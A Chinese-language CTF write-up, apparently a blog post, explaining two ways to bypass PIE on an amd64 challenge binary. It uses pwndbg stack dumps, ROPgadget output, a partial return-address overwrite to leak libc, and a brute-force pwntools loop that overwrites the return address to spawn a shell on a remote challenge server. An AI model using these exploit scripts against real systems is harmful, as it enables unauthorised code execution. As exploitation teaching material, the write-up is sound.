PIE保护绕过的两种解决方案

绕过PIE保护一般都是取leak基址,这里shiroha师傅又分享了一个Binary,以此来探究PIE的两种非常规绕过方法。

Analyse

先分析这个ELF。

[*] '/home/railgun/Desktop/easypwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

很明显的是有个栈溢出,并且没开Canary。需要格外注意的是memcpy的长度s_length是strlen()来完成的,所以存在截断的问题。

唯一的阻力在于开了PIE。

Vulnerable Part

这里其实一看是没想到有什么方法的,然后如果size大于idx也是补了00,没法泄露。

pwndbg> stack 100
00:0000│ rsp      0x7ffeb9dead18 —▸ 0x5584fd7faa41 ◂— lea    rax, [rbp - 0x80]
01:0008│ rax rdi  0x7ffeb9dead20 ◂— 'AAAAAAAAAAAAAAAA'
... ↓
03:0018│          0x7ffeb9dead30 ◂— 0x0
04:0020│          0x7ffeb9dead38 ◂— 0x756e6547 /* 'Genu' */
05:0028│          0x7ffeb9dead40 ◂— 9 /* '\t' */
06:0030│          0x7ffeb9dead48 —▸ 0x7ff258b62660 (dl_main) ◂— push   rbp
07:0038│          0x7ffeb9dead50 —▸ 0x7ffeb9deadb8 —▸ 0x7ffeb9deae88 —▸ 0x7ffeb9deb30c ◂— './easypwn'
08:0040│          0x7ffeb9dead58 ◂— 0xf0b5ff
09:0048│          0x7ffeb9dead60 ◂— 0x1
0a:0050│          0x7ffeb9dead68 —▸ 0x5584fd7faaad ◂— add    rbx, 1
0b:0058│          0x7ffeb9dead70 —▸ 0x7ff258b709f0 (_dl_fini) ◂— push   rbp
0c:0060│          0x7ffeb9dead78 ◂— 0x0
0d:0068│          0x7ffeb9dead80 —▸ 0x5584fd7faa60 ◂— push   r15
0e:0070│          0x7ffeb9dead88 —▸ 0x5584fd7fa7c0 ◂— xor    ebp, ebp
0f:0078│          0x7ffeb9dead90 —▸ 0x7ffeb9deae80 ◂— 0x1
10:0080│          0x7ffeb9dead98 ◂— 0x0
11:0088│ rbp      0x7ffeb9deada0 —▸ 0x5584fd7faa60 ◂— push   r15
12:0090│          0x7ffeb9deada8 —▸ 0x7ff258790b97 (__libc_start_main+231) ◂— mov    edi, eax

上图是下段在read_n的ret处的栈布局。

下面是断在main函数ret的地方。

pwndbg> stack 60
00:0000│ rsp  0x7fff9a803fe8 —▸ 0x7fc47da83b97 (__libc_start_main+231) ◂— mov    edi, eax
01:0008│      0x7fff9a803ff0 ◂— 0x1
02:0010│      0x7fff9a803ff8 —▸ 0x7fff9a8040c8 —▸ 0x7fff9a80630c ◂— './easypwn'
03:0018│      0x7fff9a804000 ◂— 0x100008000
04:0020│      0x7fff9a804008 —▸ 0x55b1a90aa9c4 ◂— push   rbp

这里有个非常有趣的点,libc_start_main+offset是main结束后的返回地址,而距离他-0x20的位置有一个push rbp,经过比对发现确实是main的起始地址。

railgun@ubuntu:~/Desktop$ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.27.so --only "pop|pop|pop|ret"
Gadgets information
0x0000000000130865 : pop r10 ; ret
0x0000000000150277 : pop rax ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x0000000000021351 : pop rax ; pop rbx ; pop rbp ; ret
0x00000000001665f1 : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000001854 : ret 7
0x00000000000019ec : ret 8
0x00000000000fce6a : ret 9
0x00000000000e46ee : pop rcx ; ret
0x00000000000221a3 : pop rdi ; pop rbp ; ret
0x000000000002155f : pop rdi ; ret
Unique gadgets found: 1140

那么显而易见,我们可以利用pppr来返回到main,但是有一个问题就是开了PIE,我们是低三字节都是确定的,还有两个字节不确定,所以需要爆破(这里注意,因为是覆盖的libc_start_main+offset的低位,所以找libc的gadget)。

def ret2main():
    ###leak base&&ret2main###
    payload = 'A' * 0x88 + '\x51' + '\x13'
    sl(payload)
    libc_base = u64(ru('\x7f')[-6:-1].ljust(8,'\x00')) - 0x0000000000021351
    success("libc_base:"+hex(libc_base))
    return libc_base
pwndbg> stack
00:0000│ rsp 0x7fffffffdf08 —▸ 0x7ffff7a02351 ◂— sbb r8, qword ptr [rax]
01:0008│ 0x7fffffffdf10 ◂— 0x1
02:0010│ 0x7fffffffdf18 —▸ 0x7fffffffdfe8 —▸ 0x7fffffffe30c ◂— './easypwn'
03:0018│ 0x7fffffffdf20 ◂— 0x100008000
04:0020│ 0x7fffffffdf28 —▸ 0x5555555549c4 ◂— push rbp
05:0028│ 0x7fffffffdf30 ◂— 0x0
06:0030│ 0x7fffffffdf38 ◂— 0xb01db2a13f82a40d
07:0038│ 0x7fffffffdf40 —▸ 0x5555555547c0 ◂— xor ebp, ebp

可以看到sp确实被修改了,我们就是修改的ret。如果爆破成功会ret到pppr并且输出该地址,因此可同时返回到main并leak libc。

后面就可以正常ROP了,需要注意,leak出的libc就是不一定正确的,如果爆破成功的话是正确的。(因为覆盖了低位再减去覆盖的,leak出的低位必然是000)

后门就是正常rop

因为00截断的原因,最终没有传参/bin/sh。

while(1):
    if(sys.argv[1] == 'l'):
        p = process('./easypwn')
        elf = ELF('./easypwn',checksec=False)
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

    else:
        p = remote("nc.eonew.cn","10004")
        elf = ELF('./easypwn',checksec=False)
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

    try:
        libc_base = ret2main()
        system = libc_base + 0x4f322
        sh = libc_base + libc.search('/bin/sh').next()
        pop_rdi_ret = libc_base + 0x000000000002155f
        success("system:"+hex(system))
        success("bin:"+hex(sh))


        sleep(0.3)
        payload = 'A' * 0x88 + p64(system)
        sl(payload)
        sl('ls')
        
        ia()
    except:
        pass

Summary

这个就是利用返回地址刚好是libc地址,覆盖低位为gadget将栈上main起始地址作为返回地址,然后同时leak出了覆盖的地址减去偏移有部分可能为libc基地址从而绕过PIE。

之前再铁三选拔这篇文章中遇到过另一种方法,puts能泄露的范围没有有价值的地址,返回地址不是libc而是程序地址,同样覆盖低位返回到main调整栈leak基地址或者libc从而绕过PIE。

上述是两种方式

总体来讲,本质一个是覆盖ret低位调整栈环境leak了地址并ret到了main可以再次ROP,一个是覆盖ret低位ret到main调整栈环境使有价值的地址进入到可leak的范围。可以根据情况选择。

Leave a Reply

Your email address will not be published. Required fields are marked *

13 − twelve =